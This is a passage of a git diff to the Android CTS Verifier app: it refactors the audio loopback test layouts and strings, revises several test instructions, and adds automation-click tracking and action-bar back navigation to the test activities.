index a0a715f..a991a15 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
@@ -38,8 +38,8 @@
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:orientation="vertical"
-                android:id="@+id/frequency_mic_layout_test_noise"
-            >
+                android:id="@+id/frequency_mic_layout_test_noise">
+
                 <View
                     android:layout_width="match_parent"
                     android:layout_height="1dp"
@@ -60,7 +60,8 @@
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="2">
+                        android:layout_weight="2"
+                        android:id="@+id/frequency_mic_layout_test_noise_dut_buttons">
 
                         <Button
                             android:layout_width="wrap_content"
@@ -84,7 +85,8 @@
                         android:layout_width="0dp"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="1">
+                        android:layout_weight="1"
+                        android:id="@+id/frequency_mic_layout_test_noise_src_buttons">
                         <Button
                             android:layout_width="wrap_content"
                             android:layout_height="wrap_content"
@@ -93,7 +95,7 @@
                             android:id="@+id/frequency_mic_play_noise_btn" />
                     </LinearLayout>
                 </LinearLayout>
-                                <TextView
+                <TextView
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
                     android:text="@string/frequency_mic_test_noise_result"
@@ -128,7 +130,8 @@
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="2">
+                        android:layout_weight="2"
+                        android:id="@+id/frequency_mic_layout_test_usb_background_dut_buttons">
 
                         <Button
                             android:layout_width="wrap_content"
@@ -178,7 +181,8 @@
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="2">
+                        android:layout_weight="2"
+                        android:id="@+id/frequency_mic_layout_test_usb_noise_dut_buttons">
 
                         <Button
                             android:layout_width="wrap_content"
@@ -202,7 +206,8 @@
                         android:layout_width="0dp"
                         android:layout_height="wrap_content"
                         android:orientation="vertical"
-                        android:layout_weight="1">
+                        android:layout_weight="1"
+                        android:id="@+id/frequency_mic_layout_test_usb_noise_src_buttons">
                         <Button
                             android:layout_width="wrap_content"
                             android:layout_height="wrap_content"
@@ -222,11 +227,11 @@
                 android:layout_height="1dp"
                 android:background="?android:colorAccent" />
 
-                <TextView
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/frequency_mic_test_global_result"
-                    android:id="@+id/frequency_mic_test_global_result" />
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/frequency_mic_test_global_result"
+                android:id="@+id/frequency_mic_test_global_result" />
 
             <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_activity.xml
deleted file mode 100644
index 89d2e19..0000000
--- a/apps/CtsVerifier/res/layout/audio_loopback_activity.xml
+++ /dev/null
@@ -1,153 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding">
-
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:id="@+id/scrollView"
-    >
-
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="vertical"
-        >
-
-            <TextView
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/audio_general_headset_port_exists"
-                android:text="@string/audio_general_headset_port_exists" />
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-            >
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_no"
-                    android:text="@string/audio_general_headset_no"
-                    android:nextFocusForward="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_loopback_plug_ready_btn"
-                    android:nextFocusRight="@+id/audio_general_headset_yes" />
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_yes"
-                    android:text="@string/audio_general_headset_yes"
-                    android:nextFocusForward="@+id/audio_loopback_plug_ready_btn"
-                    android:nextFocusDown="@+id/audio_loopback_plug_ready_btn"
-                    android:nextFocusLeft="@+id/audio_general_headset_no"
-                    android:nextFocusRight="@+id/audio_loopback_plug_ready_btn" />
-
-            </LinearLayout>
-
-            <LinearLayout
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:id="@+id/audio_loopback_headset_port"
-            >
-
-                <TextView
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:scrollbars="vertical"
-                    android:gravity="bottom"
-                    android:id="@+id/info_text"
-                    android:text="@string/audio_loopback_instructions" />
-
-                <Button
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_loopback_plug_ready_btn"
-                    android:text="@string/audio_loopback_plug_ready_btn"
-                    android:nextFocusForward="@+id/audio_loopback_level_seekbar"
-                    android:nextFocusUp="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_loopback_level_seekbar"
-                    android:nextFocusLeft="@+id/audio_general_headset_yes"
-                    android:nextFocusRight="@+id/audio_loopback_level_seekbar" />
-
-                <LinearLayout
-                    android:orientation="vertical"
-                    android:layout_width="match_parent"
-                    android:layout_height="match_parent"
-                    android:id="@+id/audio_loopback_layout"
-                >
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_instructions2"
-                        android:id="@+id/audio_loopback_instructions2" />
-
-                    <SeekBar
-                        android:layout_width="match_parent"
-                        android:layout_height="wrap_content"
-                        android:id="@+id/audio_loopback_level_seekbar"
-                        android:nextFocusForward="@+id/audio_loopback_test_btn"
-                        android:nextFocusUp="@+id/audio_loopback_plug_ready_btn"
-                        android:nextFocusDown="@+id/audio_loopback_test_btn"
-                        android:nextFocusLeft="@+id/audio_loopback_plug_ready_btn"
-                        android:nextFocusRight="@+id/audio_loopback_test_btn" />
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_level_text"
-                        android:id="@+id/audio_loopback_level_text" />
-
-                    <Button
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_test_btn"
-                        android:id="@+id/audio_loopback_test_btn"
-                        android:nextFocusForward="@+id/pass_button"
-                        android:nextFocusUp="@+id/audio_loopback_level_seekbar"
-                        android:nextFocusDown="@+id/pass_button"
-                        android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
-                        android:nextFocusRight="@+id/pass_button" />
-
-                    <ProgressBar
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:id="@+id/audio_loopback_progress_bar" />
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_results_text"
-                        android:id="@+id/audio_loopback_results_text" />
-                </LinearLayout>
-
-            </LinearLayout>
-            <include layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml
new file mode 100644
index 0000000..4d0ba8d
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:text="@string/audioLoopbackInputLbl"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:textSize="18sp"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:paddingLeft="10dp"
+        android:paddingRight="10dp"
+        android:id="@+id/audioLoopbackInputLbl"
+        android:textSize="18sp"/>
+
+    <TextView
+        android:text="@string/audioLoopbackOutputLbl"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:textSize="18sp"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:paddingLeft="10dp"
+        android:paddingRight="10dp"
+        android:id="@+id/audioLoopbackOutputLbl"
+        android:textSize="18sp"/>
+
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml
new file mode 100644
index 0000000..f59afeb
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <ProgressBar
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:id="@+id/audio_loopback_progress_bar" />
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/audio_loopback_results_text"
+        android:id="@+id/audio_loopback_results_text" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml
new file mode 100644
index 0000000..a738826
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/loopback_test_question"/>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal">
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:soundEffectsEnabled="false"
+            android:text="@string/audio_general_yes"
+            android:id="@+id/loopback_tests_yes_btn" />
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:soundEffectsEnabled="false"
+            android:text="@string/audio_general_no"
+            android:id="@+id/loopback_tests_no_btn" />
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:soundEffectsEnabled="false"
+            android:text="@string/audio_general_info"
+            android:id="@+id/loopback_tests_info_btn" />
+    </LinearLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
new file mode 100644
index 0000000..c8c7a69
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:id="@+id/scrollView">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <include layout="@layout/audio_loopback_header_layout"/>
+
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/audio_loopback_headset_port">
+
+                <include layout="@layout/audio_loopback_volume_layout" />
+
+                <include layout="@layout/audio_loopback_device_layout" />
+
+                <LinearLayout
+                    android:orientation="vertical"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:id="@+id/audio_loopback_layout">
+                    <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:text="@string/audio_loopback_test_btn"
+                        android:id="@+id/audio_loopback_test_btn"
+                        android:nextFocusForward="@+id/pass_button"
+                        android:nextFocusUp="@+id/audio_loopback_level_seekbar"
+                        android:nextFocusDown="@+id/pass_button"
+                        android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
+                        android:nextFocusRight="@+id/pass_button" />
+
+                </LinearLayout>
+
+                <include layout="@layout/audio_loopback_footer_layout"/>
+
+            </LinearLayout>
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml
new file mode 100644
index 0000000..b85985e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/audio_loopback_layout">
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/audio_loopback_instructions2"
+        android:id="@+id/audio_loopback_instructions2" />
+
+    <SeekBar
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/audio_loopback_level_seekbar"
+        android:nextFocusForward="@+id/audio_loopback_test_btn"
+        android:nextFocusUp="@+id/audio_loopback_plug_ready_btn"
+        android:nextFocusDown="@+id/audio_loopback_test_btn"
+        android:nextFocusLeft="@+id/audio_loopback_plug_ready_btn"
+        android:nextFocusRight="@+id/audio_loopback_test_btn" />
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/audio_loopback_level_text"
+        android:id="@+id/audio_loopback_level_text" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index 3182499..e61ba01 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -9,6 +9,8 @@
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
 
+    <include layout="@layout/audio_loopback_header_layout"/>
+
     <LinearLayout android:orientation="horizontal"
         android:layout_width="match_parent"
         android:layout_height="wrap_content">
@@ -123,33 +125,9 @@
             android:textSize="18sp"/>
     </LinearLayout>
 
-    <TextView
-        android:text="@string/proAudioInputLbl"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:textSize="18sp"/>
+    <include layout="@layout/audio_loopback_device_layout" />
 
-    <TextView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:paddingLeft="10dp"
-        android:paddingRight="10dp"
-        android:id="@+id/proAudioInputLbl"
-        android:textSize="18sp"/>
-
-    <TextView
-        android:text="@string/proAudioOutputLbl"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:textSize="18sp"/>
-
-    <TextView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:paddingLeft="10dp"
-        android:paddingRight="10dp"
-        android:id="@+id/proAudioOutputLbl"
-        android:textSize="18sp"/>
+    <include layout="@layout/audio_loopback_volume_layout" />
 
     <Button
         android:text="@string/audio_proaudio_roundtrip"
@@ -157,41 +135,7 @@
         android:layout_height="wrap_content"
         android:id="@+id/proAudio_runRoundtripBtn"/>
 
-    <LinearLayout android:orientation="horizontal"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content">
-        <TextView
-            android:text="@string/proAudioRoundTripLbl"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:textSize="18sp"/>
-
-        <TextView
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:paddingLeft="10dp"
-            android:paddingRight="10dp"
-            android:id="@+id/proAudioRoundTripLbl"
-            android:textSize="18sp"/>
-    </LinearLayout>
-
-    <LinearLayout android:orientation="horizontal"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content">
-        <TextView
-            android:text="@string/proAudioConfidenceLbl"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:textSize="18sp"/>
-
-        <TextView
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:paddingLeft="10dp"
-            android:paddingRight="10dp"
-            android:id="@+id/proAudioConfidenceLbl"
-            android:textSize="18sp"/>
-    </LinearLayout>
+    <include layout="@layout/audio_loopback_footer_layout"/>
 
     <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d48adcb..b898bc9 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1719,7 +1719,7 @@
     <!-- Strings for TestListActivity -->
     <string name="wifi_test">Wi-Fi Test</string>
     <string name="wifi_test_info">
-        The Wi-Fi tests requires an open (no security) access point in the environment along with the DUT.
+        The Wi-Fi tests requires an open or PSK access point in the environment along with the DUT.
         \nPlease perform a network settings reset between each test to reset platform\'s internal state which
         might interfere with the test flow.\nNavigate to \"Settings -> System -> Reset Options -> Reset Wi-Fi,
         mobile &amp; Bluetooth\" to perform a network settings reset.
@@ -1738,7 +1738,7 @@
 
     <string name="wifi_status_need_psk">Need a psk network for this test.</string>
     <string name="wifi_status_initiating_scan">Initiating scan.</string>
-    <string name="wifi_status_scan_failure">Unable to initiate scan or find any open network in scan results.</string>
+    <string name="wifi_status_scan_failure">Unable to initiate scan or find matching network in scan results.</string>
     <string name="wifi_status_connected_to_other_network">Connected to some other network on the device. Please ensure that there is no saved networks on the device.</string>
     <string name="wifi_status_initiating_network_request">Initiating network request.</string>
     <string name="wifi_status_network_wait_for_available">Waiting for network connection. Please click the network in the dialog that pops up for approving the request.</string>
@@ -2356,7 +2356,7 @@
     <!-- Strings for CA cert installation via intent test -->
     <string name="cacert_install_via_intent">CA Cert install via intent</string>
     <string name="cacert_install_via_intent_title">This test attempts to install a CA certificate via an intent.</string>
-    <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should fail. If you see a dialog redirecting the user to Settings for installing the certificate, the test passed. If a any other dialog comes up, the test failed.</string>
+    <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should not be possible. Tapping Go should show a dialog telling the user that CA certificates can put their privacy at risk and must be installed via Settings. If a any other dialog comes up, the test failed.</string>
 
     <!-- Strings for Widget -->
     <string name="widget_framework_test">Widget Framework Test</string>
@@ -3983,7 +3983,7 @@
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
         Then press \'Go\' to open \'Multiple users\' setting. \n
-        Click the Settings icon adjacent to the managed user.\n\n
+        Click the managed user to open settings.\n\n
 
         Mark this test as passed if:\n\n
         - \"Delete User\" is disabled.\n
@@ -4830,10 +4830,8 @@
 
     <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
     <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
-    <string name="proAudioInputLbl">Audio Input:</string>
-    <string name="proAudioOutputLbl">Audio Output:</string>
-    <string name="proAudioRoundTripLbl">Round Trip Latency:</string>
-    <string name="proAudioConfidenceLbl">Confidence:</string>
+    <string name="audioLoopbackInputLbl">Audio Input:</string>
+    <string name="audioLoopbackOutputLbl">Audio Output:</string>
 
     <string name="proAudioMidiHasMIDILbl">Has MIDI Support</string>
     <string name="proAudioMIDIInputLbl">MIDI Input:</string>
@@ -4843,8 +4841,6 @@
     <string name="proAudioHDMISupportLbl">HDMI Support:</string>
     <string name="proAudioHasHDMICheckBox">Has HDMI Support</string>
 
-    <string name="audio_proaudio_loopbackbtn">Start Loopback</string>
-    <string name="audio_proaudio_loopbackInfoBtn">Loopback Instructions</string>
     <string name="audio_proaudio_roundtrip">Round-Trip Test</string>
     <string name="audio_proaudio_NA">N/A</string>
     <string name="audio_proaudio_pending">pending...</string>
@@ -4904,15 +4900,23 @@
     <string name="audio_general_default_false_string">false</string>
     <string name="audio_general_default_true_string">true</string>
     <string name="audio_general_warning">Warning</string>
-    <string name="audio_general_ok">Ok</string>
     <string name="audio_general_level_not_max">Audio Level is not maximum. Please check your device
           is set to max level for audio playback.</string>
 
+    <string name="audio_general_no">No</string>
+    <string name="audio_general_yes">Yes</string>
+    <string name="audio_general_info">Info</string>
+    <string name="audio_general_ok">Ok</string>
+
     <!-- Audio Loopback Latency Test -->
-    <string name="audio_loopback_test">Audio Loopback Latency Test</string>
+    <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
      <string name="audio_loopback_info">
-          This test requires the Loopback Plug. Please connect a Loopback Plug into the headset
-          connector, and proceed with the instructions on the screen.
+          This test requires some form of audio loopback. This can be either:\n
+          - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a 3.5mm headset jack.\n
+          - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a USB audio adapter.\n
+          - a USB interface with patch cords connecting the input and output jaccks.
+          Please connect one of these Loopback mechanisms, and proceed with the instructions
+          on the screen.
           The system will measure the input-output audio latency by injecting a pulse on the output,
           and computing the distance between replicas of the pulse.
           You can vary the Audio Level slider to ensure the pulse will feed back at adequate levels.
@@ -5332,11 +5336,13 @@
        This test requires that you have connected a supported USB Audio Peripheral device
        (not a headset) and that peripheral\'s audio outputs are connected to the peripherals\'s
        audio inputs. Alternatively, for devices with an analog audio jack or USB-c Digital
-       to Analog dongle, a Loopback Plug can be used. Also, any if there is an input level
+       to Analog dongle, a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>
+       can be used. Also, if there is an input level
        control on the peripheral, it must be set to a non-zero value. When the test has
        verified support for a valid audio peripheral, press the \"Round-Trip Test\" button
-       to complete the test. Note that it may be necessary to run the latency test more than
-       once to get a sufficient confidence value.
+       to complete the test.
+       The latency measurement is generally accurate even when the volume is low. But you may
+       need to increase the volume to bring the confidence number above the threshold.
     </string>
     <string name="proaudio_hdmi_infotitle">HDMI Support</string>
     <string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
@@ -5611,4 +5617,13 @@
     1. All buttons are fully visible \n
     2. All buttons are clickable. \n
     </string>
+
+    <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
+    <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
+    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
+        This can be done in one of three ways:\n
+        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
+        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
+        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with an audio patch cable.
+    </string>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 1505aca..99df613 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -20,7 +20,9 @@
 import android.app.ListActivity;
 import android.content.Intent;
 import android.content.res.Configuration;
+import android.graphics.Rect;
 import android.os.Bundle;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.Window;
 import android.widget.ListView;
@@ -28,17 +30,26 @@
 /** {@link ListActivity} that displays a list of manual tests. */
 public abstract class AbstractTestListActivity extends ListActivity {
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
+    //An invalid value which smaller than the edge of coordinate on the screen.
+    private static final float DEFAULT_CLICKED_COORDINATE = -1;
 
     protected TestListAdapter mAdapter;
-    // Start time of test item.
+    // Start time of test case.
     protected long mStartTime;
-    // End time of test item.
+    // End time of test case.
     protected long mEndTime;
+    // X-axis of clicked coordinate when entering a test case.
+    protected float mCoordinateX;
+    // Y-axis of clicked coordinate when entering a test case.
+    protected float mCoornidateY;
+    // Whether test case was executed through automation.
+    protected boolean mIsAutomated;
 
     protected void setTestListAdapter(TestListAdapter adapter) {
         mAdapter = adapter;
         setListAdapter(mAdapter);
         mAdapter.loadTestResults();
+        setOnTouchListenerToListView();
     }
 
     private Intent getIntent(int position) {
@@ -82,11 +93,16 @@
             }
             TestResult testResult = TestResult.fromActivityResult(resultCode, data);
             testResult.getHistoryCollection().add(
-                testResult.getName(), mStartTime, mEndTime);
+                testResult.getName(), mStartTime, mEndTime, mIsAutomated);
             mAdapter.setTestResult(testResult);
         }
         // Reset end time to avoid keeping same end time in retry.
         mEndTime = 0;
+        // Reset mIsAutomated flag to false
+        mIsAutomated = false;
+        // Reset clicked coordinate.
+        mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+        mCoornidateY = DEFAULT_CLICKED_COORDINATE;
     }
 
     /** Launch the activity when its {@link ListView} item is clicked. */
@@ -94,6 +110,10 @@
     protected final void onListItemClick(ListView listView, View view, int position, long id) {
         super.onListItemClick(listView, view, position, id);
         mStartTime = System.currentTimeMillis();
+        //Check whether the clicked coordinate is consistent with the center of the clicked Object.
+        Rect rect = new Rect();
+        view.getGlobalVisibleRect(rect);
+        mIsAutomated = (mCoordinateX == rect.centerX()) && (mCoornidateY == rect.centerY());
         handleItemClick(listView, view, position, id);
     }
 
@@ -102,4 +122,23 @@
         Intent intent = getIntent(position);
         startActivityForResult(intent, LAUNCH_TEST_REQUEST_CODE);
     }
+
+    /** Set OnTouchListener to ListView to get the clicked Coordinate*/
+    protected void setOnTouchListenerToListView() {
+        getListView().setOnTouchListener(null);
+        getListView().setOnTouchListener(new View.OnTouchListener(){
+            @Override
+            public boolean onTouch(View v, MotionEvent event) {
+                if (event.getAction() == MotionEvent.ACTION_UP) {
+                    mCoordinateX = event.getRawX();
+                    mCoornidateY = event.getRawY();
+                } else {
+                    // Reset clicked coordinate.
+                    mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+                    mCoornidateY = DEFAULT_CLICKED_COORDINATE;
+                }
+                return false;
+            }
+        });
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 7776d27..c8a667b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -35,6 +35,8 @@
 import android.view.View.OnClickListener;
 import android.widget.ImageButton;
 import android.widget.Toast;
+import android.app.ActionBar;
+import android.view.MenuItem;
 
 import java.util.List;
 import java.util.stream.Collectors;
@@ -180,6 +182,25 @@
 
         @Override
         public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            ActionBar actBar = getActionBar();
+            if (actBar != null) {
+                actBar.setDisplayHomeAsUpEnabled(true);
+            }
+        }
+
+        @Override
+        public boolean onOptionsItemSelected(MenuItem item) {
+            if (item.getItemId() == android.R.id.home) {
+                onBackPressed();
+                return true;
+            }
+            return super.onOptionsItemSelected(item);
+        }
+
     }
 
     public static class ListActivity extends android.app.ListActivity implements PassFailActivity {
@@ -234,6 +255,25 @@
 
         @Override
         public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
+
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            ActionBar actBar = getActionBar();
+            if (actBar != null) {
+                actBar.setDisplayHomeAsUpEnabled(true);
+            }
+        }
+
+        @Override
+        public boolean onOptionsItemSelected(MenuItem item) {
+            if (item.getItemId() == android.R.id.home) {
+                onBackPressed();
+                return true;
+            }
+            return super.onOptionsItemSelected(item);
+        }
     }
 
     public static class TestListActivity extends AbstractTestListActivity
@@ -302,6 +342,25 @@
         public void updatePassButton() {
             getPassButton().setEnabled(mAdapter.allTestsPassed());
         }
+
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            ActionBar actBar = getActionBar();
+            if (actBar != null) {
+                actBar.setDisplayHomeAsUpEnabled(true);
+            }
+        }
+
+        @Override
+        public boolean onOptionsItemSelected(MenuItem item) {
+            if (item.getItemId() == android.R.id.home) {
